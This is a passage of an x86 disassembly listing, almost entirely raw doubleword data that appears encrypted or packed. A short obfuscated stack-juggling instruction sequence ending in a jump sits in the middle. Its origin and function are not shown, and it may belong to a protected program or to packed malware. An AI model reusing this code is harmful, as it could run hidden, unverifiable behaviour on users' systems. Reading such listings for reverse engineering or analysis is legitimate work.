		dd 0EE1440F1h, 3D9BCF6Ch, 0E794C6BCh, 560549B3h, 0DB7CF802h
		dd 5100758Fh, 8F3DAF05h, 1D47F3B5h, 6D2D8408h, 0F5A82FE8h
		dd 7593559h, 46EA89C9h,	2329892Ah, 0A2580CAFh, 0D79ACF2Bh
		dd 0B9E6333Dh, 0C4E98534h, 745219CFh, 5CF09C7Fh, 0DE721F56h
		dd 5EF2A3D4h, 63D14B51h, 1756C089h, 0ED6E64FCh,	2B88E448h
		dd 39BCFB69h, 0C636CC98h, 3DBF4511h, 0BA3C369Ah, 5BE5B519h
		dd 0D12FC629h, 0DE663868h, 55878122h, 0C90CF6A2h, 36B87628h
		dd 0E6452985h, 0E23F3046h, 0B5F71756h, 0B44A3E47h, 4FBA340Eh
		dd 0E3000000h, 0D083F739h, 0B5B3107Ch, 4B3D9140h, 17566777h
		dd 4A93C183h, 340E39BEh, 1CEh, 0EA6D9700h, 6AEDE74Bh, 0EC6D67CBh
		dd 0E4EEE14Dh, 48AC2378h, 0E1A7E60Ah, 0DB72C802h, 3C5FDADFh
		dd 0F8623C50h, 56FD724Ah, 0FE5DC517h, 78195CA6h, 0ED6D752Ch
		dd 72BCE24Eh, 9DF15D02h, 1DB16497h, 0A3D4D271h,	0B8F65EF2h
		dd 0A5D51B4Ch, 0DCB06190h, 5AF9797Fh, 0D081F40Eh, 5005767Ch
		dd 9ECE80FCh, 0E3F9157h, 83FD34h, 0BA530000h, 66ECF7E5h
		dd 8C298A25h, 0E24EED6Dh, 66CA6BE8h, 0AAF16369h, 25DF8B28h
		dd 965806B5h, 0B313B065h, 0C79938B9h, 6715EF5Dh, 0F0681756h
		dd 7AF9F353h, 0FA7D77DBh, 0B31FBE3Dh, 0B51FB3DFh, 2C5085F7h
		dd 0DEBF262h, 79340E3Fh, 4Ch, 11A33920h, 1756671Bh, 5355F66Eh
		dd 0CB227C1Fh, 5B049EADh, 24842705h, 0A509AE2Eh, 0DB1227AFh
		dd 92FE923Eh, 17C8343Eh, 4EBEB4BBh, 27550B2Fh, 0E5B16290h
		dd 4BEA6DBCh, 669E91E7h, 16541756h, 38E99FE6h, 115340Eh
		dd 4C000000h, 0E34FEE6Dh, 19B564E9h, 2D0EE749h,	3A4F8C99h
		dd 0F7A62923h, 0D694375Bh, 488B45A6h, 0B0DC7FF3h, 5B0E709Dh
		dd 0DF7C879Ah, 0AFFB9AD9h, 247A4356h, 9BD36AEAh, 653794F8h
		dd 0BD19D0D7h, 17BB2312h, 0E2A1A049h, 0CE83E308h, 94B95B51h
		dd 9B299677h, 116D2CA1h, 0CDE08C14h, 8BC99F62h,	0C2C467E6h
		dd 0CE49888Bh, 2E82EE8Bh, 807A2E42h, 7600AC4Dh,	116D4484h
		dd 98EFEA0h, 0BB4115C4h, 43D98732h, 6D43FBF1h, 75D64E11h
		dd 0FB96DFD5h, 43B1FF57h, 0C7110174h, 3F2282C4h, 5CF2A6CAh
		dd 3C8E6192h, 116C9948h, 0EC4F23BBh, 246AD4A4h,	116202Eh
		dd 6E790000h, 861C421Bh, 0F7540548h, 0BC741A8Dh, 1F53AD12h
		dd 0D44E107Ch, 6C518E66h, 7379E111h, 98F458FBh,	5C919B3Bh
		dd 0DA13E9BDh, 2CAF613Fh, 17492589h, 6C50CFA5h,	19BA2211h
		dd 9F3AB3B9h, 6B53933h,	8D2EA0AAh, 0DA15487h, 4677E5A7h
		dd 6734A0EEh, 0A31743EEh, 2E2422D5h, 6923C32Ah,	18CB708Ah
		dd 31E2BBh, 6EBB0000h, 0A2104E27h, 175666FAh, 8FF955CDh
		dd 175665B5h, 0AF1D87D5h, 175665D5h, 5113B028h,	0A78E9723h
		dd 66A14BF9h, 0C941756h, 7E7958h, 6E200000h, 0AE1C421Bh
		dd 12BC455Dh, 2CE76E90h, 0C86408A9h, 43502496h,	3BA3116Ch
		dd 9D973B57h, 43EDB958h, 1B80B2AAh, 0F5566BBCh,	73DF7AF3h
		dd 6BD8F805h, 0DA77FA11h, 5CFD7C76h, 0C57AFAF0h, 9EBF2D6Fh
		dd 2378E4BAh, 36E569AAh, 0A2F70E5Ah, 0BC3785DBh, 0F0CBD5Ch
		dd 0BC313B97h, 5FE1B11Dh, 731C6D2Dh, 7A4AEBC1h,	0AAC65E0Bh
		dd 2DA06EF4h, 0DE552F8Ch, 7806CBCFh, 329146B6h,	0DC85D149h
		dd 0E3031B6Eh, 0ADD9CA93h, 0B1035D31h, 12A87F3Ah, 0B3B9158Dh
		dd 65CB9F3Ah, 6D774DFFh, 52CA1165h, 0D37EF7F1h,	2FCB097Fh
		dd 8C861E92h, 5B950F60h, 1A126417h, 6DDD901Dh, 0D3BF5A93h
		dd 52FF7670h, 8032A806h, 0DD901CACh, 3F48ED62h,	0CB0204A7h
		dd 4988822Eh, 0EA5404A8h, 34A7697Ah, 0B1242281h, 34FA5400h
		dd 9B9123C2h, 0EEDD901Ch, 0BFB91A76h, 0BC59B36h, 0F33D10C3h
		dd 0AF52DED0h, 68B919BAh, 3, 6DA50831h,	929834EBh, 1812BE5Bh
		dd 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh
		dd 0AA657h, 0E9822ECFh,	5E08950h, 4, 8704E883h,	895C2404h
		dd 60682434h, 8900007Eh, 89502414h, 405E0h, 0E8830000h
		dd 24048704h, 241C895Ch, 2C268h, 243C8900h, 2215F968h
		dd 0EF815F31h, 51D7367Fh, 0EBEF814Fh, 89D95951h, 0EC815FFAh
		dd 4, 83242489h, 5B042404h, 34815255h, 983C7E24h, 0F5815D17h
		dd 17983C7Eh, 5D086B89h, 5B2434FFh, 4C481h, 148B0000h
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 0F8EC19E9h, 0DAD4BEFFh
		dd 0FB360DAh, 0B173019h, 91D3B8D7h, 0C50305F1h,	0ACBCE0FFh
		dd 44A91E1Eh, 3BAF53E6h, 96701EAEh, 7DF40BEAh, 3DA8602Eh
		dd 38093B13h, 992D0D2Ah, 2282145Ch, 245B7C49h, 0F9930B58h
		dd 7E6C778Bh, 0FB063BDEh, 179C2517h, 0D9545366h, 0D3663A54h
		dd 4AF53FFh, 51B7553Ch,	8B754DFDh, 0C4BC0266h, 8C613DA3h
		dd 7BB21AEh, 27AD694Ch,	3E1E5864h, 598A4FA0h, 0DC4B4719h
		dd 3B0102D1h, 4FD37549h, 588A0F12h, 79EE3899h, 4EB2103h
		dd 0A634306h, 591E9h, 0BC639500h, 38DD12E8h, 0B065966Ch
		dd 3EDB1EE4h, 0B162906Ah, 0A0C243E5h, 2FD58132h, 5AA0F4A7h
		dd 0CB31651Ah, 2983D782h, 0F93309BBh, 0A861D47h, 49E86DA3h
		dd 453F8D17h, 0B8175667h, 29238320h, 0A45E0AA9h, 262C8031h
		dd 0F0AE02AFh, 0B418BD3Eh, 403486D8h, 0B3175667h, 498E882Bh
		dd 3D373894h, 0B285C8CFh, 533F9340h, 63916B3Fh,	67483C8Eh
		dd 23BB1756h, 98F4AB29h, 11C636CCh, 9C3FB7BDh, 27CE6030h
		dd 22D69407h, 0B49EAAEh, 0ED92C2D9h, 58FF7DB3h,	2418AAF4h
		dd 971756F4h, 8F3D630Fh, 1756F3B5h, 6B339008h, 99DB5C91h
		dd 0C1AD4E80h, 4CEF676Dh, 0EAE08CE0h, 701CB065h, 20EEB01Ch
		dd 0CCA00CADh, 0F422156Fh, 92D01756h, 0C66D1B62h, 0B199340Eh
		dd 0C0000000h, 0E549E86Dh, 56669F93h, 0D95A9317h, 2549E594h
		dd 9BBE549h, 17566633h,	0E8141E86h, 0D9B69B37h,	6720200Ah
		dd 9FCDC7C8h, 0D01E4C7Eh, 0CD7ABD9Dh, 0A7745B51h, 0A80B67CBh
		dd 85737AEAh, 0F1340E25h, 1, 39A339A8h,	5666B18Bh, 0EA9C0417h
		dd 17566712h, 585EFD65h, 0C0CA6617h, 966EDC8Fh,	0E9175667h
		dd 0BBB11D71h, 3D379B36h, 0BDB71BBAh, 5B379B3Ah, 0D37F1E51h
		dd 1A3BA9F7h, 0AEED1F15h, 0DA207429h, 173DD493h, 2F61FA82h
		dd 0D8E5DFA9h, 81581756h, 67459A7Eh, 8BE78B51h,	53814FD5h
		dd 0EDE2DAACh, 0AB551756h, 0B1DD7124h, 7F267EDDh, 104EED6Dh
		dd 5DFE9BDEh, 0D039A3FDh, 9DD15068h, 191365CAh,	6C1756DAh
		dd 0DF7CFEF4h, 0BABC1F73h, 262C8035h, 0A7AD01B6h, 88208C2Fh
		dd 0CF6796C6h, 16445381h, 769F3165h, 0A36C439Dh, 0EAEC4FE4h
		dd 0FE9FD063h, 78D485F4h, 0DED47814h, 3CA6F89Dh, 0DA2014A6h
		dd 0B931756h, 56DA877Dh, 0C162FA17h, 4BE66B61h,	0CE6DEDE7h
		dd 0EC184662h, 89FBB5C9h, 0EB27C7Ch, 738834h, 6DD10000h
		dd 0F6CE7CEDh, 49175666h, 1B11BDD1h, 868925D8h,	3FD8759Ch
		dd 9A55684h, 0C664865h,	0F1632182h, 6EED28AAh, 630F63CFh
		dd 0EE8DCD37h, 68094842h, 86F6B8C4h, 0E9B797Fh,	0A0678E34h
		dd 3A570B56h, 0D9D3613Fh, 2C175685h, 424E17B4h,	17000000h
		dd 104EED6Dh, 6744388Ah, 2FB71756h, 0B6262C8Ch,	9AE93F40h
		dd 1874259Ch, 9ECE90B4h, 6E3AD919h, 4BEA6D37h, 6750B9E7h
		dd 2A0CE2B9h, 7A4D3794h, 881756AAh, 0A5539ACAh,	0D1340E7Ch
		dd 1, 4FEE6D88h, 0F99CDF11h, 0BE333955h, 70D3BF13h, 8093DAD0h
		dd 2C01AD4Eh, 0D048C361h, 38543882h, 0A7AC494h,	56E317D9h
		dd 0B71B7724h, 0FD7E78DBh, 38A20C58h, 573FB28Ah, 59FA7817h
		dd 3BBCB62Eh, 0F95A369Ah, 8ED0ADFCh, 0FA97DA14h, 0E3993A56h
		dd 12BD1CFCh, 4789D74Fh, 64C46712h, 0A92CE76Eh,	0CA306408h
		dd 0C7AD683h, 116D1B3Eh, 475480DEh, 9E3510Eh, 7C116D1Bh
		dd 26DC88E4h, 0A4AE02AFh, 842C8031h, 0D81D9ACAh, 5E8E6739h
		dd 45417FD3h, 0DC722A89h, 9C3FDC12h, 253424D4h,	147502Eh
		dd 6E090000h, 861C421Bh, 66D6AE1Ch, 0B1291756h,	5666EDC7h
		dd 0F5D84017h, 91DD646Eh, 88DA795Dh, 0BCF0A53Ah, 2FA65812h
		dd 4842EE82h, 0FA005405h, 606AC673h, 48E04CEDh,	8CC1D606h
		dd 7B0DB9EDh, 802E24A0h, 662E8B69h, 6BE2F674h, 5801A2CEh
		dd 6Ch,	4E276E01h, 66FAA210h, 55CD1756h, 65B58FF9h, 87D51756h
		dd 0F6550449h, 0BD2748B4h, 5666350Fh, 1A108817h, 818427D4h
		dd 6DF7A984h, 666F45F7h, 5AC21756h, 5666582Ch, 5872AB17h
		dd 2F3421C1h, 5EECB2DEh, 17559C66h, 0B0E241D9h,	559C5A02h
		dd 2C9E0417h, 17559C58h, 9C3C3082h, 178F1755h, 205BF860h
		dd 8ACDECB8h, 94000000h, 1C421B6Eh, 0BC455DAEh,	0A4089012h
		dd 0DE8A27AEh, 5E00B124h, 13B06190h, 42B8C5B3h,	4A14116Ch
		dd 0F8589D1Ah, 2B75D79Ch, 0EFBBD756h, 643A0316h, 0FDA9DE8Dh
		dd 399A6E70h, 0FDBCD96Bh, 0D34B0CBCh, 5100757Fh, 0E113ADFDh
		dd 75C7D0D9h, 0B79DD7Fh, 0DD9369DBh, 7EE60B79h,	0A3FD9109h
		dd 3E70974Ah, 0B53AD2D3h, 0CB961C26h, 0E7B5167Ah, 0A529E77Dh
		dd 0F8AC80F6h, 0C61F0B79h, 35207799h, 12B1DD3Fh, 0CB5A6D68h
		dd 0D0841C06h, 701B6E89h, 5666EAC2h, 0A9C55D17h, 0F54845F7h
		dd 37DE12A7h, 0EBE39818h, 1FADF3CEh, 11646F25h,	0D8A30098h
		dd 6FE6EC40h, 0E96C96C2h, 58F4A92Eh, 0AAF45834h, 6EAA8230h
		dd 851D1164h, 0C5D45C26h, 555F12D2h, 0C80AC427h, 48EB872Bh
		dd 3E6A074Eh, 0C4B80A90h, 3701D193h, 0C30A0CAFh, 41B0BA16h
		dd 0D26C3C90h, 31E015A2h, 64E866Fh, 7774875Fh, 0FF768CD4h
		dd 82FFE52h, 81000000h,	0CA690C4Fh, 6DA5086Fh, 929834EBh
		dd 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h
		dd 848E22CFh, 0AA657h, 0E9822ECFh, 5768h, 24348900h, 303A68h
		dd 240C8900h, 463368h, 243C8900h, 53B46856h, 815E2F3Bh
		dd 0B63F44C6h, 8BF189D6h, 0C4832434h, 3C8B5404h, 4C48324h
		dd 242C8151h, 38385C9Eh, 8108478Fh, 5C9E0847h, 3C8B3838h
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 592434FFh
		dd 0E904C483h, 0FFF8E5F6h, 7B3F897h, 1BB8DF7Dh,	305F198h
		dd 0C8E0FFC5h, 0DF366AEBh, 0D443E04Eh, 0EB3740A2h, 625EEE04h
		dd 539E956h, 94C40000h,	0A4DB7E3h, 96C53F6Bh, 849B3E7h
		dd 93C73D69h, 9312B4E0h, 683CDF13h, 0EBBF5C92h,	683CE311h
		dd 0EABE5B92h, 8C60D240h, 0FF1D47FFh, 0D039DA73h, 0AEEB1E6Eh
		dd 0E5E3409Fh, 676DC170h, 0BA1440F3h, 309A9220h, 75ED1757h
		dd 9A9DD0D6h, 4D279554h, 0A0175730h, 94F85438h,	16BA579Eh
		dd 0B0BA167Ah, 6E309C3Dh, 2D8132A0h, 73E4E241h,	6B616EC2h
		dd 8E2BA2F9h, 3B420DAh,	7F75C75Dh, 0F2175730h, 6B91C96Ah
		dd 909A36E9h, 0AE3BD5Eh, 719A7633h, 1ABA193Dh, 923EDF10h
		dd 17BB5C98h, 688DFFBDh, 41568638h, 0FC326C13h,	1975D97Ah
		dd 0D518E2BAh, 46B47A24h, 7FD37EF3h, 7CDC7F13h,	0C869EC22h
		dd 0C41E116Bh, 86D41756h, 0FA560748h, 5773596h,	0E9610F8h
		dd 7B7C34h, 39250000h, 73D083F7h, 0FD510075h, 5666B78Bh
		dd 0D3014317h, 0E38FE8Ah, 10E34h, 6D570000h, 0FC154BEAh
		dd 478ADF2Ch, 476A06AAh, 42E15219h, 0FB72BCE2h,	0B418B938h
		dd 7418B4D8h, 0EEA4982Ah, 8F171756h, 0F0A52A2Ch, 0AE8634AEh
		dd 11756EEh, 909A3A99h,	74EEB061h, 56EEEEC6h, 7AD94117h
		dd 0ADDFD5DAh, 0E0B469EEh, 1215A74Eh, 0CB9427E4h, 4AE76E68h
		dd 0E095DA14h, 0DB83204Ch, 4EED6D82h, 456BF910h, 0B1AF29E6h
		dd 37B8B212h, 0B2202A86h, 34A7AD01h, 28222D81h,	7F3199BCh
		dd 0F240DA0Dh, 175758FAh, 7076D54Dh, 0FF055102h, 7D77DB76h
		dd 5E3A1EFEh, 0C9A2C193h, 3B7509A5h, 33BCBCC9h,	64C8340Fh
		dd 91000000h, 0E24EED6Dh, 94CA6BE8h, 6D67145Ah,	8AE64AE9h
		dd 8C868929h, 64175B60h, 0D283F43Ah, 49872971h,	86346A09h
		dd 175666AEh, 3C3A9901h, 0BBB11DBEh, 4B379B36h,	0EA8ED705h
		dd 1A340E3Eh, 44h, 4EED6D43h, 0CB35F910h, 0D9F0D9Ch, 0B9500EAEh
		dd 89E4F7EDh, 0B4B21134h, 1F3B9748h, 56841341h,	39A8F1A5h
		dd 671B11A3h, 0F66E1756h, 791C5355h, 66CCA3D5h,	387A1756h
		dd 38F781CCh, 107340Eh,	5E000000h, 0A529EE6Dh, 0D0BC5D90h
		dd 0D31A10BCh, 0B9917826h, 7B22718h, 0D1EAC7ABh, 0BA5D9FE8h
		dd 0B5167A16h, 25EB4515h, 0C5A905B4h, 0B7B82466h, 0FA59F879h
		dd 8ADE7FFCh, 15F2673h,	9C06729Bh, 877FF78Fh, 72595E24h
		dd 52AC12BCh, 0B814781Dh, 0CA9E3BB2h, 0B01CBD30h, 6C6FF4C6h
		dd 1E4E1011h, 0F1A55499h, 4917C20Bh, 708B61D3h,	66FE116Ch
		dd 5FB8F44Bh, 298AF880h, 0AF4A8389h, 77E5AB03h,	8734BA74h
		dd 0EAB2224h, 0DA1AEE5Ah, 606A2E24h, 33000001h,	0D285F739h
		dd 0B4B1127Eh, 2418AA65h, 0CD175667h, 0C59D083Eh, 68C2B5F2h
		dd 5711E2DAh, 0A1CD5517h, 0DA7629ABh, 3684DAB6h, 12BD1FA1h
		dd 6A60CC54h, 0A66836E3h, 262C8035h, 676D01B6h,	0BBE340F3h
		dd 0C16D0C41h, 89D782CBh, 0FC7D1560h, 1AB96311h, 0F641B0BAh
		dd 107CD085h, 94DAD07Ch, 10414BE7h, 0F8646E61h,	0E08C2FA3h
		dd 0C1D60648h, 87ABAC8Ch, 0BE732E06h, 463286D2h, 0B62E24A2h
		dd 59h,	3C308218h, 8F116CC4h, 0C39D9725h, 8810116Ch, 6EE247E4h
		dd 0F9104E27h, 70B175DAh, 0EBB91A5Fh, 56E69359h, 51814F17h
		dd 7627A8A2h, 9A36AED5h, 56E618ECh, 88F4B617h, 4618F530h
		dd 56E630F4h, 0CF9B0317h, 7427AF61h, 403486D8h,	0B31756E6h
		dd 39E4472Bh, 87h, 421B6E60h, 624BF51Ch, 7068C836h, 0C03381D3h
		dd 0F312BCB6h, 88CDC76Bh, 0E47BDE9h, 0B91CF63h,	6CB3C3B9h
		dd 57024B11h, 0E499DE20h, 65482448h, 0DC72B4AFh, 3D47E459h
		dd 116C7610h, 0E96CA2ECh, 2B88E448h, 39BCFB69h,	0E435CC98h
		dd 0A3F54719h, 0FF0CBE0Ch, 0DBDDD765h, 0C8500B7Ah, 4FEC91C2h
		dd 0A00AC34h, 0EABA16C3h, 0AA478A44h, 8BC96A06h, 6D384159h
		dd 734F8133h, 0FA6206CCh, 29AF4DA4h, 71BDE902h,	6ED38AD2h
		dd 0AE1C421Bh, 12A7FE7Ah, 0A24B158Dh, 0C1E7631Eh, 0EA4AE9AEh
		dd 98CC6DE0h, 9B7BF836h, 942E44A7h, 0EB4824CCh,	65C968EDh
		dd 0D443E813h, 7BE9E33Eh, 0FB7EB93Ch, 0F29EF25Eh, 1E195CA6h
		dd 0C7353FDCh, 0BCD0BC10h, 3AD71A10h, 0C78C696h, 824832DBh
		dd 4E77EB1h, 0EB2CA1A7h, 0FDA0D368h, 0FD513D51h, 53A9FD91h
		dd 2D37F1Ah, 3,	6DA5085Bh, 929834EBh, 1812BE5Bh, 9D973BDCh
		dd 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh, 0AA657h
		dd 0E9822ECFh, 261A68h,	240C8900h, 0C181E189h, 4, 8704E983h
		dd 685C240Ch, 709Eh, 50241C89h,	405E089h, 83000000h, 48704E8h
		dd 34895C24h, 62B9BB24h, 0BA523FFDh, 692D0E70h,	815AD329h
		dd 0DEBBA0EBh, 181768D0h, 24890000h, 24048124h,	4, 4EC815Eh
		dd 89000000h, 8B9240Ch,	1000000h, 591989F1h, 5724348Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h,	0C4815B24h
		dd 4, 0F8E099E9h, 0B858D7FFh, 5F19D53h,	0E0FFC503h, 6101F3EFh
		dd 75EE57F1h, 6F5DA0CCh, 41FB879Ah, 22B28C4Bh, 5ECD4B71h
		dd 40C6CA26h, 1DDBF01Bh, 1F1844EEh, 29775C1Fh, 6344274h
		dd 2C2D3B2Eh, 9EF28D8Dh, 6A05F1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 666597C3h, 0E9C6439Eh
		dd 14h,	5B02FBD9h, 0B24F5E13h, 55CCFA82h, 2EBF1617h, 0B3012BEDh
		dd 0ADD8D89h, 0FB8B05EAh, 1539B589h, 85C705EAh,	5EA0ACDh
		dd 5FA0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	4EC35343h, 896F812Dh, 0EA2CC99Dh, 0F585C705h, 5EA25h
		dd 89000000h, 0EA2A498Dh, 0DDB58B05h, 0FF05EA07h, 0EA3151B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0FBE81E5Bh, 2C99BD03h, 95FF05EAh, 5EA2A19h
		dd 1BD9B58Bh, 0BD8B05EAh, 5EA2F59h, 95FF006Ah, 5EA1015h
		dd 5AEBC08Bh, 0FC5B7574h, 0C45CEFF6h, 47FF1DAAh, 567EF4AEh
		dd 0A55A762Fh, 0D05BC954h, 15666A67h, 0E6ECE940h, 0BEB0A8A5h
		dd 8F01EF51h, 1076E5D4h, 881128FEh, 0C4637F1h, 5F7F3C8Ch
		dd 0A9EDD437h, 43D128BEh, 38AF2163h, 739193CEh,	0A193DE71h
		dd 2634EC9h, 766111B3h,	0BE6AEFB4h, 4EB37EBh, 6224CB7Ch
		dd 587E9h, 18BF3100h, 9C41B64Ch, 1CC132C8h, 923FB248h
		dd 1DBE3CC6h, 146EEF49h, 9B6135E6h, 0EF4A053h, 877D29CEh
		dd 5DF7A34Eh, 6877DCFh,	76FA1D48h, 49E86DDFh, 0C86BEFE5h
		dd 0FDDB329Ch, 1FA85452h, 80F5F350h, 0FE777DD1h, 82F5FF53h
		dd 7A707FD3h, 0D030D90Ah, 0B17A39B1h, 40B5B310h, 7FD37EF7h
		dd 0D12B7F13h, 52A8FCA3h, 0DBD17D22h, 1C4CE093h, 5AFB7CB2h
		dd 7B399AF6h, 9D42B209h, 1FBA33C9h, 4EF2C5B3h, 42001757h
		dd 213DCB12h, 0AB42340Fh, 0DC1D73BAh, 441DBEEEh, 66h, 49E86D1Dh
		dd 669F93E5h, 61931756h, 0D51812BEh, 8D878824h,	4E0C3E5Fh
		dd 3821D71Eh, 16D340Eh,	34000000h, 1B11A339h, 13175667h
		dd 0F89438DBh, 0B2B4178Fh, 3E34983Dh, 0A2A804B9h, 0C071E42Fh
		dd 0DA68F2ACh, 175666E2h, 0F293DB0Fh, 0BCCB8A03h, 28278724h
		dd 72E5B222h, 0E86D97C3h, 9BD91749h, 872448E4h,	0ED6D86DFh
		dd 67E8E24Eh, 0FCB21AB6h, 14C70B90h, 9D74EE40h,	9F8151CAh
		dd 370D7B39h, 8A175697h, 3EB7B112h, 0C6353F93h,	33BBA56h
		dd 28C271FBh, 639DB098h, 0EF432F02h, 0A6AFDD93h, 340E7AC2h
		dd 8332h, 1B529C00h, 3978DD7Eh,	671B11A3h, 906E1756h, 7D11BD5Eh
		dd 46B4B211h, 671F15A7h, 0A921756h, 93C0CA66h, 5B414EE2h
		dd 2BC60FC1h, 0A79DEB87h, 1A175666h, 0F1632182h, 0DF8B28AAh
		dd 5806B525h, 3626CBB1h, 2C8F96FFh, 0A653868Ch,	0CC38760Ah
		dd 0F01E781h, 0A2D21C34h, 1B11A3FDh, 6E175720h,	470C55F6h
		dd 55000000h, 0A628ED6Dh, 593559F5h, 0DA7DFFF5h, 0D21C5276h
		dd 325EF29Fh, 1AA1D391h, 366F3BD8h, 1B11A339h, 6E175667h
		dd 1C5355F6h, 0CCA3D579h, 7A175666h, 0F781CC38h, 0C340E38h
		dd 699582E5h, 83204C8Ah, 1DAh, 0EE6D8300h, 64E9E34Fh, 0F74919B5h
		dd 51C53685h, 0CC2F62A4h, 56026E7Bh, 0DD835AAFh, 956FDD47h
		dd 0E81756C5h, 5F33E016h, 0A1A186FCh, 8C1412BCh, 3EB07E20h
		dd 0A0271DAFh, 29A116Ch, 82CBCD6Eh, 0B72D83D7h,	6CA02F05h
		dd 0B91A8211h, 379B36BFh, 8235A769h, 0A0675B21h, 0DB85116Ch
		dd 4A8846A9h, 728897E8h, 3A5674AEh, 0FA569F99h,	1E01B788h
		dd 0D688E4BBh, 146B63Fh, 2CA1623Bh, 214D218Dh, 0AD20DA82h
		dd 5B9C520Ch, 0B3B919BAh, 9B339F3Ah, 0DE44A7D5h, 6D61986Ch
		dd 7C70C211h, 0CF116D61h, 1BB82057h, 6739D81Dh,	0B7CB29A9h
		dd 57D1EB2h, 0B1DD711Dh, 7EE44A12h, 6C9AF8CCh, 0DCD06211h
		dd 2F116C9Ah, 0D86AC0B7h, 116C9AE4h, 0A3CF57h, 246DC048h
		dd 16ACC2Eh, 6E950000h,	861C421Bh, 0CF0D0C48h, 0C5E84428h
		dd 1C1597Ah, 2685E9CDh,	0BCE0CB5Ch, 4AE67E12h, 386C0D40h
		dd 0B0EE8BC2h, 903B3959h, 52F10009h, 0C475F8F2h, 4EEB6268h
		dd 8B6BE8E2h, 598E2D27h, 0F15D318Ah, 24598BD5h,	5192C28Ch
		dd 9DDE5B9Fh, 313794F8h, 0FD491DBCh, 2E25170Bh,	9B38BE70h
		dd 0A1F85B37h, 53h, 4E276EF8h, 66FAA210h, 55CD1756h, 0E34EA7F9h
		dd 9F0F4A60h, 463E44E7h, 64175630h, 2FB5B626h, 562FA79Dh
		dd 21821A17h, 74C6E124h, 17563080h, 309468DAh, 7FE71756h
		dd 0A2FC9008h, 56304C10h, 0F3A73F17h, 0BBD2h, 0A1957C00h
		dd 30742869h, 391ABF1Ch, 89794AA3h, 0CEB742D0h,	5754C4B8h
		dd 0CAF3717h, 7B250009h, 0BD337AC9h, 4B158D12h,	0BA75685h
		dd 6E64C467h, 0B01E4AE7h, 0F559FE7Eh, 0B93C3A99h, 30A4982Ah
		dd 8F17116Dh, 0CA05785h, 0FEA00C60h, 0BE12C330h, 0FA0B71D2h
		dd 0DA116D30h, 0A435884h, 31AB316Fh, 6D2FA983h,	0F2841C11h
		dd 116D2FFAh, 9ADFD54Dh, 9C3F53FFh, 11EC3DC4h, 0D81BD54Fh
		dd 3DFC8625h, 0C0CBEC3h, 2E23CA94h, 0C9F5F175h,	141EBE1Dh
		dd 969C30E1h, 151FB360h, 702755E2h, 70DCB0DCh, 496C98DAh
		dd 6535A719h, 0D9174914h, 68EEE49Bh, 883A68CBh,	6CD69E9h
		dd 4D1440D8h, 1C421B6Eh, 2EF6A3F5h, 35960F06h, 0BA33FD67h
		dd 5FEDB31Fh, 17569065h, 722C40D8h, 568FECC0h, 64C75F17h
		dd 0A8235B1Eh, 88CD0312h, 0A9314AE9h, 0E5DF6DF7h, 581164F0h
		dd 9DC363C0h, 0BBC8D674h, 0AB19D363h, 116471D1h, 73D0BC24h
		dd 5510075h, 77DB76FFh,	91141F01h, 6AF0EA6Ah, 8F03E4D8h
		dd 6CCF57A9h, 74F9BE2Eh, 83892CA3h, 97C3AF4Ah, 1749E86Dh
		dd 4453F8Dh, 20B8A98Fh,	59F5AA2Ah, 68369635h, 46C40F2h
		dd 47DFA98Fh, 0C26FE2E4h, 40F1646Eh, 0C176E6ECh, 0FC68626Dh
		dd 0E92789D9h, 5517B46Bh, 0BC5D9027h, 3EDB12E8h, 34392h
		dd 81A0000h, 34EB6DA5h,	0BE5B9298h, 3BDC1812h, 0BA599D97h
		dd 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh, 2ECF000Ah
		dd 8956E982h, 4C681E6h,	83000000h, 348704EEh, 0C895C24h
		dd 74906824h, 3C890000h, 0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68243489h, 5F19F5Ch, 83243C8Bh, 0D6804C4h
		dd 8900003Dh, 4812424h,	424h, 8F575E00h, 34FF0846h, 0C4835E24h
		dd 243C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dd 6BB37C07h, 91034604h, 0F1A469B8h, 0FFC50305h, 0FD3B65E0h
		dd 24EEA63Ah, 630E650Dh, 0CF87CF10h, 0BCC7814Bh, 90A5B925h
		dd 84A4602Bh, 0A1015811h, 0BC85C432h, 41A3A604h, 0A30D667Fh
		dd 772D96Eh, 0B5B89C3Ah, 2E1C9122h, 0AF6A262Fh,	91D03B34h
		dd 77B1BB11h, 12E56F41h, 10BC9A3Bh, 0C0BCC3Dh, 8E8F530h
		dd 0EAEC142Ch, 3F936620h, 6344EF7Ah, 3EAA0C0Ch,	539A4709h
		dd 407BD53Ch, 68F96127h, 9A2E922Fh, 0BCAE0153h,	0C1C85465h
		dd 0F240F52Ah, 10EB58h,	3 dup(0)
		dd 8B000000h, 49B52BC0h, 8305EA09h, 0EA13D9BDh,	9750005h
		dd 2EE5BD83h, 740005EAh, 8B535019h, 42DB8C0h, 85890000h
		dd 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h
		dd 50177400h, 42DB853h,	85890000h, 5EA0D79h, 0DAE49D8Dh
		dd 0D3FF05ECh, 6A585Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 8EEE28C3h, 661EC9D1h, 0E0EFF681h
		dd 0BCEA8166h, 51006AB6h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 9AFA68F0h, 0B9807469h
		dd 9D890F11h, 5EA0089h,	6E9C08Bh, 0C7000000h, 0EFD7BEBEh
		dd 0E98D8B77h, 8905EA1Ch, 0EA16B59Dh, 0F98305h,	93840Fh
		dd 0F530000h, 689h, 69B50300h, 5E05EA2Ch, 2C3D8B64h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
